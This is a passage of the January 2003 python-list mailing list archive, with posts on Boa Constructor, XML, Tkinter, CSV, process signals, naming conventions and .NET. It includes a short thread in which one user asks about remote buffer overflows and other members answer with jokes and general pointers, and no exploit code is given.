2\Lib\site-packages\wxPython\tools\boa\Browse.py
import Browse # precompiled from
C:\Python22\Lib\site-packages\wxPython\tools\bo
a\Browse.pyc
# C:\Python22\Lib\site-packages\wxPython\tools\boa\Explorers\Explorer.pyc
matche
s C:\Python22\Lib\site-packages\wxPython\tools\boa\Explorers\Explorer.py
import Explorers.Explorer # precompiled from
C:\Python22\Lib\site-packages\wxPyt
hon\tools\boa\Explorers\Explorer.pyc
importing Explorers

I tried searching on google but didn't get a hit on boa freezing where it
did for me.  Any helpful pointers would be appreciated.

Loren




From cwazir at yahoo.com  Wed Jan 15 05:43:44 2003
From: cwazir at yahoo.com (Chirag Wazir)
Date: 15 Jan 2003 02:43:44 -0800
Subject: Email package and mailbox module
References: <3E245102.8040106@nipltd.com> <79c178a9.0301141916.10690661@posting.google.com>
Message-ID: <79c178a9.0301150243.772d0d3c@posting.google.com>

Sorry!
That should obviously be "open" not "concat"
in the previous message.

Chirag Wazir
http://chirag.freeshell.org



From adalke at mindspring.com  Sat Jan 11 02:05:34 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 00:05:34 -0700
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301102227.109b7003@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <ad496f8.0301100610.74586ad7@posting.google.com> <52719db8.0301102227.109b7003@posting.google.com>
Message-ID: <avog65$etd$1@slb6.atl.mindspring.net>

vvainio at tp.spt.fi (Ville Vainio)
>>Yes, I found your example much more powerful, readable and
>>outrageously different from the hypothetical
>>
>>import highlevelmailmodule
>>
>>highlevelmailmodule.sendmail(from='me at here.com',
>>         to='you at there.com',
>>                ... etc


James Huang wrote:
> Thank you! Thank you! Thank you!
> It's amazing that someone on this list can actually say this.


Hmmm.  My reading was that that statement was meant to be
sarcastic, not appreciative.  But then again, I'm on this list
so what do I know.

					Andrew
					dalke at dalkescientific.com




From uche at ogbuji.net  Sat Jan 11 13:20:22 2003
From: uche at ogbuji.net (Uche Ogbuji)
Date: 11 Jan 2003 10:20:22 -0800
Subject: XML and Python
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>
Message-ID: <d116fbae.0301111020.69245998@posting.google.com>

Tim Roberts <timr at probo.com>:

> I _STRONGLY_ recommend that you invest in the book, "Python & XML" by
> Christopher Jones & Fred Drake.  I'm only half-way through, and it's
> already been worth the money.

For those who follow this advice, may I suggest my companion article
to the book?:

http://www.xml.com/pub/a/2002/12/11/py-xml.html

Which provides many notes and updates on this book, and its examples. 
For example, I gather that this article would have saved Martin
Schmettow a lot of time.

While I'm at it, I cover XML processing in Python throughout my
XML.com column:

http://www.xml.com/pub/au/84

--Uche
http://uche.ogbuji.net



From peter at engcorp.com  Fri Jan 17 21:58:07 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 17 Jan 2003 21:58:07 -0500
Subject: buffer overflow
References: <b0808g$b4j$2@wheel2.two14.net> <mailman.1042778911.1136.python-list@python.org> <3veh2v4drk4bq5vlnggqevgvlt6ik6fanh@4ax.com>
Message-ID: <3E28C2BF.FDFFA36E@engcorp.com>

donoli wrote:
> 
> I also tried it as a remote exploit from one machine to another which
> was my original intenetion but I failed to mention it in my original
> post.  

That's no problem... we inferred it anyway.

> I wanted to find some code where I could do something like:
> python buffer.py > 192.160.0.2    That also forced python to close.
> 
> Is there a way to do something like that?  Also, can you explain
> bufferobjet.c?

Sounds like a French implementation of the Buffer object, to me...

-Peter



From shalehperry at attbi.com  Mon Jan 20 09:38:26 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Mon, 20 Jan 2003 06:38:26 -0800
Subject: doc in emacs
In-Reply-To: <oqiswkym6v.fsf@titan.progiciels-bpi.ca>
References: <87hec4x9oc.fsf@flibuste.net> <oqiswkym6v.fsf@titan.progiciels-bpi.ca>
Message-ID: <200301200638.26723.shalehperry@attbi.com>

On Monday 20 January 2003 05:39, Fran?ois Pinard wrote:
> [William]
>
> > Is there an easy way to browse the python manual inside emacs ?
>
> There once was an Info rendering of the Python manuals which I found very
> convenient at the time, but I do not know if it is kept up-to-date anymore.
>
> Currently, to browse Python manuals, I use `links' for Web access and gave
> myself a few Emacs commands to easily launch it, either within Emacs and
> externally.  I prefer using it externally when running Emacs under X,
> within Emacs otherwise.  In case some people are interested, let me append
> my customisation for this, all crude and raw.  Use at your own risk! :-)
>
> Some people prefer Emacs-w3, yet I often find it slow, and in some
> circumstances, uneasy to install.
>

Debian ships a version of the docs in info.  The problem is the docs are not 
shipped in a format that makes this conversion very convenient.




From max at alcyone.com  Fri Jan 31 22:52:52 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 19:52:52 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <KxD_9.876$ek4.87836@newsread2.prod.itd.earthlink.net>
Message-ID: <3E3B4494.9B720845@alcyone.com>

Brandon Van Every wrote:

> I don't have the Python experience.

Well, then, maybe you shouldn't make blanket statements about it only
being good for a glue language (blanket statements which anyone who
_does_ have the Python experience will immediately recognize as
blatantly false).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It is much safer to obey than to rule.
\__/ Thomas a Kempis
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From eppstein at ics.uci.edu  Thu Jan 30 16:33:25 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Thu, 30 Jan 2003 13:33:25 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de> <mailman.1043948036.13037.python-list@python.org> <h32j3v8ntbhhh4i7bq93qihs2t71gdb3vf@4ax.com> <Trg_9.106594$0v.3078122@news1.tin.it>
Message-ID: <eppstein-49E5E2.13332530012003@news.service.uci.edu>

In article <Trg_9.106594$0v.3078122 at news1.tin.it>,
 Alex Martelli <aleax at aleax.it> wrote:

> Actually quite clear, but finding holes is more fun:-).
> 
> A dictionary, {1:2, 3:4, 5:6}, is a list of items separated
> by commas (the items are (1,2), (3,4), ...) -- how do you
> want to treat it?

My interpretation is sort of the opposite: a dictionary can represent 
any function with a finite domain, and a list is a special case of this 
where the domain of the function is a range of integers.

Of course this view breaks down once you start modifying dicts or lists, 
since the ways they change are not so similar...

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From stephen.boulet at motorola.com  Wed Jan 22 10:43:56 2003
From: stephen.boulet at motorola.com (Stephen Boulet)
Date: Wed, 22 Jan 2003 09:43:56 -0600
Subject: tkinter buttons and columnspan
References: <3E2E1A02.90805@motorola.com> <b0lm47$j3s$1@news-reader12.wanadoo.fr> <Tx6cnSH-ZqoXPrOjXTWc-g@speakeasy.net> <mailman.1043245012.30896.python-list@python.org>
Message-ID: <3E2EBC3C.7000303@motorola.com>

Thanks again Laura!

Laura Creighton wrote:
>>Yep, that's exactly what I'm saying; it doesn't work:
>>
>>from Tkinter import *
>>
>>root = Tk()
>>
>>Button(root,text = 'foo').grid(column=0, row=0)
>>Button(root,text = 'foo').grid(column=1, row=0)
>>Button(root,text = 'foo').grid(column=0, row=2, columnspan=2)
>>
>>root.mainloop()
> 
> 
> You need the sticky option. 
> Button(root,text = 'foo').grid(column=0, row=2, columnspan=2, sticky=W+E+N+S)
> 
> see: http://www.pythonware.com/library/tkinter/introduction/x4951-patterns.htm
> 
> Laura Creighton
> 





From andy at eastonwest.co.uk  Thu Jan 16 17:22:11 2003
From: andy at eastonwest.co.uk (andy)
Date: Thu, 16 Jan 2003 22:22:11 +0000
Subject: DYNAMIC_EXECUTION_PROFILE/DXPAIRS server available
In-Reply-To: <15907.19728.347317.771246@montanaro.dyndns.org>
References: <15907.19728.347317.771246@montanaro.dyndns.org>
Message-ID: <200301162222.11154.andy@eastonwest.co.uk>

Skip,

Your XML server's usage() method returns a string which wraps badly on my 
linux box; the line-end codes are probably Windows ones, I suppose...

However, the synopsis() method returns a properly formatted string... are you 
mixing OSes or editors, perchance?

I'm using:

Python 2.2.1 (#1, Dec  4 2002, 23:43:31) 
[GCC 3.2 (Mandrake Linux 9.0 3.2-1mdk)] on linux-i386

regards, 
-andyj




From eat at joes.com  Fri Jan 17 21:42:47 2003
From: eat at joes.com (donoli)
Date: Sat, 18 Jan 2003 02:42:47 GMT
Subject: buffer overflow
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com> <XCAV9.5784$YI5.499@news2.central.cox.net> <aame2vku3p26s53g21gb3jhuas6o6s8717@4ax.com> <mailman.1042826915.30366.python-list@python.org>
Message-ID: <okfh2v8g8oggh3cq1is40cpa069feasauo@4ax.com>

On 17 Jan 2003 10:08:11 -0800, Cliff Wells
<LogiplexSoftware at earthlink.net> wrote:

>
>
>If you want to know about known buffer overflow exploits in various
>applications and OS's, search Google and read some of the voluminous
>documentation you will find there.
>
>
>BTW, Steve didn't buy that crystal ball on ebay, those ones are fake.
###################
Those codes never compile correctly.
donoli
###################



From gbrunet at nospamsempersoft.com  Tue Jan 21 22:19:33 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Tue, 21 Jan 2003 21:19:33 -0600
Subject: Outlook Express and COM
References: <2ulX9.83789$Yo4.4666988@news1.calgary.shaw.ca> <v2s274lh7e0vd3@corp.supernews.com>
Message-ID: <v2s3ejkicruv79@corp.supernews.com>

"Greg Brunet" <gbrunet at nospamsempersoft.com> wrote in message
news:v2s274lh7e0vd3 at corp.supernews.com...
> This site has a wealth of info about OE and the WAB (Windows Address
> Book) both standalone & shared, but unfortunately I don't see a COM
> interface or file layout info.

Oops - helps if I provide the site link: http://insideoe.tomsterdam.com/
Also, you can export the WAB file to a CSV file if that helps.

--
Greg




From CousinStanley at HotMail.com  Wed Jan  8 10:47:05 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Wed, 8 Jan 2003 08:47:05 -0700
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com> <avepvu$o6k$0@216.39.172.122>
Message-ID: <avhh4d$ffmlh$1@ID-130333.news.dfncis.de>

> Is there a way to change the drab white on black of the dos console window
> to some other color scheme, say yellow on blue ?

|| system menu > properties > colors

|| To get the system menu, Alt-Spacebar should drop it down,
|| or click the icon at the leftmost in the title bar.

Bengt ...

On the Win98 system that I use
there seems to be NO Color Options available
on any of the  DOS > Properties  dialogs ...

There is a  Background  button on the DOS menu bar,
but it seems non-functional ...

Are there other  Win/DOS  config settings that affect
the availability of the color options ???

Cousin Stanley






From johnroth at ameritech.net  Wed Jan  1 18:32:25 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 1 Jan 2003 18:32:25 -0500
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <ausvot$fuh$0@216.39.172.122> <3E1266A4.D6D3AF6F@alcyone.com>
Message-ID: <v16ujq203b9ec5@news.supernews.com>

"Erik Max Francis" <max at alcyone.com> wrote in message
news:3E1266A4.D6D3AF6F at alcyone.com...
> Bengt Richter wrote:
>
> > Someone proposed just a bare leading dot or invisible self name.
> >
> >   class Foo:
> >       bar = 123
> >       def baz(,arg):
> >           .arg = arg
> >           return .bar+arg
> >
> > It's less typing anyway. That's a plus for me.
>
> Yeah, the prefixed dot has been suggested before.  I'm for the status
> quo on this issue myself, but of the suggestions, at least this one
> seems to be the one thought all the way through.
>
> The basic, "I don't like having to keep writing self, why not just
make
> it implicit" doesn't get very far in the face of bound vs. unbound
> methods, etc.

Could you say a bit more about the issues? I don't see the
problem with bound versus unbound - the differences come in
the method invocation (which wouldnn't change) rather than the
method body.

It's the "etc." I'm interested in. For example, the current
situation essentially splits the lookup tree just above the local
symbols, which is very efficient for a dynamic language like
Python. Making 'self.' implicit would require the lookup in all cases,
including the very common cases of module imports and built-in
functions.

That said, I'd love to get rid of the excess baggage, but I don't
see how it would work efficiently.

John Roth
>
> --
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
> /  \ Did you ever love somebody / Did you ever really care
> \__/ Cassandra Wilson
>     The laws list / http://www.alcyone.com/max/physics/laws/
>  Laws, rules, principles, effects, paradoxes, etc. in physics.





From mnations at airmail.net  Tue Jan 21 19:16:50 2003
From: mnations at airmail.net (Marc)
Date: 21 Jan 2003 16:16:50 -0800
Subject: Easiest way to include C libraries
Message-ID: <4378fa6f.0301211616.3b353722@posting.google.com>

Hi,

I've been reading on the different ways to extend Python with C/C++.
Not having done this before, I can't figure out the easiest way to
solve my problem. I was hoping someone might have experience with
this.

I am developing an automated tool to perform testing on several
different pieces of hardware. I interface with them, configure them,
and then read the results. All of these tools have direct telnet
interfaces that I simply send instrument specifics commands to in
order to configure and read results.

However, a new tool that I need to integrate does not provide a direct
interface. Instead, it provides libraries that I must reference in
order to interface with the box, and guess what, Python is not
included. Among the languages included are C and Tcl/Tk library files.
In reading, it appears that extending C has the most written about it.
There are various ways to extend C, and also some applications such as
SWIG that have been written to assist with the process. Having used
none of these, I'm not sure the best way to go.

Basically I have to include a bunch of header files (.h for C) or .dll
files (for Tcl) and be able to access them from Python code. These
files are quite large, so any manual intervention will be time
consuming. The new release of Python mentioned some new ways of
extending it, but I'm not sure how many people have used these new
functions or what problems they might have.

Any advice or suggestions would be much appreciated.

Thanks ahead of time,
Marc



From donn at drizzle.com  Sun Jan  5 14:15:32 2003
From: donn at drizzle.com (Donn Cave)
Date: Sun, 05 Jan 2003 19:15:32 -0000
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com> <3E17C3E3.FC2C643C@alcyone.com>
Message-ID: <1041794131.489038@yasure>

Quoth Erik Max Francis <max at alcyone.com>:
...
| The problem here (which other responders failed to identify) is that
| it's the spawned program that's getting the INT signal, not the Python
| program launching it.  Signals are really independent of stdin/stdout,
| so that's why your redirection and file closing isn't helping.

True.  It is related to terminal I/O, but not directly enough to depend
on the actual open files.  Instead, it's inherited from tty processes
through the terminal process group, in systems that use Berkeley job
control (i.e., all modern UNIX & clones like Linux.)

When system or popen starts a new process, it inherits the caller's
process group, and if the caller is subject to signals from the
terminal driver like <ctrl>C, then so will the new process.  (This
is also true of processes started in a shell script, incidentally,
so I think you will find that "trap" won't really save them.)

posix.setpgrp() establishes a new process group.  It has to be invoked
from the child fork, so one would need to do something like copy
os.spawnv or popen2.Popen* and modify it accordingly.

	Donn Cave, donn at drizzle.com



From peter at engcorp.com  Thu Jan 16 11:58:58 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 11:58:58 -0500
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <pIFU9.30525$aG4.1599274@twister.austin.rr.com> <b06k1k$art$2@wheel2.two14.net>
Message-ID: <3E26E4D2.9EE02BFC@engcorp.com>

maney at pobox.com wrote:
> 
> OTOH, if you want a Python implementation for basic CSV, here's what I
> did [...]
> 
> for l in someFile.xreadlines():
>     fields = csv.split(l)
>     ...

I haven't reviewed the code, but with the above line driving it, it 
doesn't seem likely it can handle any lines with embedded newlines,
which can easily occur in a CSV file (at least, those written by Excel
for one).

Might be great for some people though.  Nice and simple.

-Peter



From whisper at oz.net  Mon Jan 13 00:19:36 2003
From: whisper at oz.net (David LeBlanc)
Date: Sun, 12 Jan 2003 21:19:36 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]  Minimal Python project)
In-Reply-To: <3E224ADD.9D246F6D@alcyone.com>
Message-ID: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net>

Pyth.

David LeBlanc
Seattle, WA USA 

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Erik Max Francis
> Sent: Sunday, January 12, 2003 21:13
> To: python-list at python.org
> Subject: Re: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
> [ann] Minimal Python project)
> 
> 
> Paul Rubin wrote:
> 
> > Another name I've liked is "Piton", sort of an Alpinist, high-altitude
> > version of Python.
> 
> To be completely ridiculous, name it Pitono, the Esperanto word for
> _python_.  Or Pitoneto, if you want to emphasize its smallness :-).
> 
> -- 
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
> /  \ All the gods are dead except the god of war.
> \__/ Leroy Eldridge Cleaver
>     Bosskey.net: Aliens vs. Predator 2 / http://www.bosskey.net/avp2/
>  A personal guide to Aliens vs. Predator 2.
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From dale at riverhall.NOTHANKS.co.uk  Sat Jan 11 13:13:39 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Sat, 11 Jan 2003 18:13:39 +0000
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com> <Xns9300BEEA4C3cliechtigmxnet@62.2.16.82>
Message-ID: <49n02v8b0gb8f9iu0p6foalisvqvb6leq0@4ax.com>

Chris Liechti <cliechti at gmx.net> wrote:

>thats broken. python interprets tabs a 8. i use:
>
>tabsize=8
>indent.size=4
>use.tabs=0
>
>use.monospaced=1
>
>the last one, means that you dont have to press "ctrl-F11" all the time to 
>switch to monospaced. you dont need to change any fonts as you did (SciTex 
>would still be in prportinal mode, which does maybe cause your trouble).
>
>chris

Thanks for the response.

Providing you use tabs exclusively for indentation, Python doesn't
care what they're displayed as. We use tabsize as 4 throughout as a
company standard and have never had a problem before.

I tried adding use.monospaced=1 but it made no difference.


--
Dale Strickland-Clark
Riverhall Systems Ltd



From martin.schmettow at bibliothek.uni-regensburg.de  Tue Jan  7 11:24:39 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Tue, 07 Jan 2003 17:24:39 +0100
Subject: extending an existing class without inhertance
Message-ID: <aveutg$cpq$1@rrzd1.rz.uni-regensburg.de>

Hi anybody.

I am working on a script which uses several XML techniques (building 
DOM,XSLT).
For building the DOM I started using the xml.dom module. This module 
implements the setAttribute() method on element nodes.
For some reasons I have to switch to the Ft.Xml.Domlette implementation, 
where the setAttribute() is missing.
Extending the class by inheritance is obvious but seems not practical in 
this case, because a lot is done by Factories, which you cant just tell 
to produce MyElement instead of Element.
The easiest solution would be to enhance the existing class by just 
adding the method. I did this several times in Perl (in a former life, 
of course).
Can anybody tell me the Python way to do it. Other solutions are welcome 
  as well.

CU
Martin.




From skip at pobox.com  Fri Jan 31 16:59:40 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 15:59:40 -0600
Subject: PEP 305 - CSV File API
Message-ID: <15930.61900.995242.11815@montanaro.dyndns.org>

A new PEP (305), "CSV File API", is available for reader feedback.  This PEP
describes an API and implementation for reading and writing CSV files.
There is a sample implementation available as well which you can take out
for a spin.  The PEP is available at

    http://www.python.org/peps/pep-0305.html

(The latest version as of this note is 1.9.  Please wait until that is
available to grab a copy on which to comment.)

The sample implementation, which is heavily based on Object Craft's existing
csv module, is available at

    http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/nondist/sandbox/csv/

To those people who are already using the Object Craft module, make sure you
rename your csv.so file before trying this one out.

Please send feedback to csv at mail.mojam.com.  You can subscribe to that list
at

    http://manatee.mojam.com/mailman/listinfo/csv

That page contains a pointer to the list archives.

(Many thanks BTW to Barry Warsaw and the Mailman crew for Mailman 2.1.  It
looks awesome.)

-- 
Skip Montanaro
skip at pobox.com
http://www.musi-cal.com/




From rchaffin at mindspring.com  Sun Jan  5 09:13:49 2003
From: rchaffin at mindspring.com (Russ Chaffin)
Date: Sun, 5 Jan 2003 09:13:49 -0500
Subject: How can I edit the PYTHONPATH environmenal variable in Linux?
Message-ID: <001b01c2b4c4$ab10f480$210110ac@hector>

Can someone show how to edit the PYTHONPATH environmental variable in Linux?
I'm a novice in Linux so my learning curve is pretty steep at this point.
I'm using a debian disto of Linux 2.4. I'm also using a bash shell to do my editing.

Your help will be greatly appreciated! Thanks!

== Russ Chaffin ==
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030105/d4d17c5b/attachment.html>

From adalke at mindspring.com  Mon Jan  6 22:21:54 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 06 Jan 2003 20:21:54 -0700
Subject: sorted unique elements from a list; using 2.3 features
In-Reply-To: <YhlS9.24314$NB4.6001@FE05>
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05>
Message-ID: <avdhip$f3j$1@slb4.atl.mindspring.net>

Steve Holden wrote:
> Presumably (I don't have 2.3 to hand, so I may get shot down in flames)
> since a set has __iter__() one could also use
> 
>     subset = [x for x in sets.Set(data)]
> 
> to create the list you want to sort? I'm not convinced this is a win,
> though, so timings might be interesting.

Yes.  That's actually what I started off doing until I remembered
that 'list' takes an iterator in the constructor.  (All them new-fangled
things these days!)


> When sorting isn't required, of course, it should be perfectly possible to
> simply write:
> 
>     for element in sets.Set(data):
>         do_stuff_with(element)
> 
> and no list conversion is necessary since the iterator does what it's
> supposed to (i.e.: support iteration :-)

And for that specific case

   map(do_stuff_with, sets.Set(data))

That gets to a level of terseness which makes my head hurt a bit. :)


					Andrew
					dalke at dalkescientific.com




From max at alcyone.com  Tue Jan 14 22:20:19 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 19:20:19 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: 
 [ann]Minimal Python project)
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net> <mailman.1042501897.17131.python-list@python.org> <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com> <mailman.1042596149.25126.python-list@python.org>
Message-ID: <3E24D373.24697174@alcyone.com>

Christian Tismer wrote:

> After all, this project turns out to be not *that* minimal
> in the first place. It is of course aimed at the possibility
> to downsize Python by removing whole classes of constructs.
> But it also tries to be a full implementation of the existing
> python, or even more than that.

Indeed.  Since it aims to be a complete Python intepreter, I would
recommend following CPython/Jython's lead and at least ending in -ython.
As you say, Minimal Python is a sort of misnomer, since the goal is not
a minimal interpreter (although it could be trimmed down); the goal is
implementing as much of the current Python system within Python itself.

Perhaps something like Python-in-Python (PIP) might be a better name.

Although I must admit Ython has a weird attraction to me ...

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Virtue has never been as respectable as money.
\__/ Mark Twain
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From brian at sweetapp.com  Tue Jan 14 19:05:42 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 14 Jan 2003 16:05:42 -0800
Subject: re module & problem with utf-8
In-Reply-To: <re792v4c5id95lj4e3hjakg9vr22e3cvri@4ax.com>
Message-ID: <000c01c2bc29$d813ea20$21795418@dell1700>

> Failed again! It seems, re module is buggy. It does not extract
> correctly utf-8 characters. Bad news. :(

You misunderstand how to use the re module. Try: 

>>> s = '\xb9 \xe6 \xea \xb3 \xf1 \xf3 \x9c \xbf \x9f'
>>> u = unicode(s, 'cp1250')
>>> import re
>>> re.compile(r'(\w)', re.U).findall(u)
[u'\u0105', u'\u0107', u'\u0119', u'\u0142', u'\u0144', u'\xf3', 
 u'\u015b', u'\u017c', u'\u017a']

When a type is specified as "Unicode" in Python, it doesn't mean UTF-8
or any other encoded string, it really means a Unicode object.

Cheers,
Brian





From giles_brown at hotmail.com  Sun Jan  5 06:12:41 2003
From: giles_brown at hotmail.com (Giles Brown)
Date: 5 Jan 2003 03:12:41 -0800
Subject: Distributing Python apps
References: <aMLR9.8636$8M3.1445703@news20.bellglobal.com>
Message-ID: <57de9986.0301050312.7749a747@posting.google.com>

"Norman Skrzypinski" <zypin at sympatico.ca> wrote in message news:<aMLR9.8636> In the end, I request that you very capable Python experts give me a way to
> give my customers a 750 KB app.

Other posts in this thread seem to be giving the impression that all
python applications are doomed to be multi-megabyte distributions.
A couple of weeks ago I used py2exe to build a small command line
program (the medusa monitor client as it happens) into a distribution
of just about 1MB.  This isn't even compressed, you can run it directly
from a floppy disk.

Giles



From whisper at oz.net  Thu Jan 16 19:29:56 2003
From: whisper at oz.net (David LeBlanc)
Date: Thu, 16 Jan 2003 16:29:56 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <6ee58e07.0301161523.65f3343b@posting.google.com>
Message-ID: <GCEDKONBLEFPPADDJCOEIENGHGAA.whisper@oz.net>

Charles Semonie (sp?) said he rued the day he ever even thought of
"hungarian" notation, let alone foisted it upon an unsuspecting developer
world.

Plain and simple it's bad programming practice. Among other things, it
encourages bad names for variables and focuses more on the data's type then
it's use.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Lothar Scholz
> Sent: Thursday, January 16, 2003 15:24
> To: python-list at python.org
> Subject: Re: Coding standard: Prefixing variables to indicate datatype
>
>
> >
> > This general class of notation is called Hungarian notation.  It's
> > either strongly liked or disliked; there's rarely opinions that lie in
> > between.  (I'm of the opinion that it is almost always overkill, tends
> > to become inaccurate over time due to code shift, and 99% of its
> > benefits can be gained simply by choosing appropriate identifiers.  Not
> > to mention terrribly ugly.)
>
> I can't find at least one good reason for this notation. Its a well
> known
> jokes that Hungarian notation was the reason that Win95 was delayed 2
> years
> because the programmer had to change every line of code :-)
>
> In fact now you have this fucking WIN32 API where you can find lots of
> places where the variable is different then the prefix. Event
> datatypes change during program lifetime - ignoring this means simply
> being a manager that has never written a really large software system.
>
> If your variables are so short that you can't imagine the name you are
> doing something wrong. I program in eiffel the whole day and we have
> method names
> like  "create_keyboard_shortcut_from_string". You read a program
> multiple times
> but you type it much less.
> --
> http://mail.python.org/mailman/listinfo/python-list





From ckasso at sprynet.com  Mon Jan 13 11:17:36 2003
From: ckasso at sprynet.com (Chris Kassopulo)
Date: Mon, 13 Jan 2003 11:17:36 -0500
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
	<mailman.1042428982.26240.python-list@python.org>
	<vAsU9.66$_d2.118955@news.uswest.net>
	<5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>
Message-ID: <20030113111736.0aba6de0.ckasso@sprynet.com>

On Mon, 13 Jan 2003 07:15:13 GMT
Terry Hancock <hancock at anansispaceworks.com> wrote:

> I immediately thought of the image of a snake biting its tail -- an
> ancient symbol of the cycle of life, recursion, etc.  The name for
> this symbol appears to be variously:
> 
> Uroboros
> Ourobouros
> Ourobourus
> 
> Not sure which spelling is "canonical".  Not so easy to pronounce
> though.

Taken by a window manager
http://www.dreamind.de/oroborus.shtml

Chris



From lac at strakt.com  Fri Jan 24 20:51:14 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 02:51:14 +0100
Subject: Best SMTP/POP library? 
In-Reply-To: Message from "Robert Oschler" <no_replies@fake_email_address.invalid> 
   of "Fri, 24 Jan 2003 17:14:05 GMT." <xveY9.848$0L3.495031@news2.news.adelphia.net> 
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org> <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org> <JhMX9.441$0L3.173271@news2.news.adelphia.net> <mailman.1043344317.16508.python-list@python.org> <KAWX9.529$0L3.274661@news2.news.adelphia.net> <slrnb3276j.ok.gerhard.haering@haering.opus-gmbh.net> <xveY9.848$0L3.495031@news2.news.adelphia.net> 
Message-ID: <200301250151.h0P1pEjL031008@ratthing-b246.strakt.com>

<snip>
"Robert Oschler" <no_replies at fake_email_address.invalid>

is looking just great here now.

Laura




From mertz at gnosis.cx  Mon Jan  6 21:01:05 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Mon, 06 Jan 2003 21:01:05 -0500
Subject: Python vs .Net
Message-ID: <hTjG+kKkX89J092yn@gnosis.cx>         

"Etienne Charland" <mystery at golden.net> wrote previously:
|Some work is done to make .NET cross-platform: MONO
|www.go-mono.com

I do hope everyone knows that it is not a question of IF, but WHEN,
Microsoft will decide to sue MONO out of existence.

The whole thing smells of usual MS dirty tricks... they have released
just enough of API details to allow Ximian to waste time on implementing
MONO.  But MS has kept many parts of the API as trade-secrets, and has
wrapped much of the documented API in patents.

MS's goal here is to maintain an official face that ".NET" is
cross-platform and open.  But as soon as MONO has any success at all, MS
*will* pour millions of dollars into lawyers to claim patent violations
in MONO (and maybe trademark, copyright, trade-secret) issues.  Those
lawyers *will* get restraining orders against the distribution of MONO,
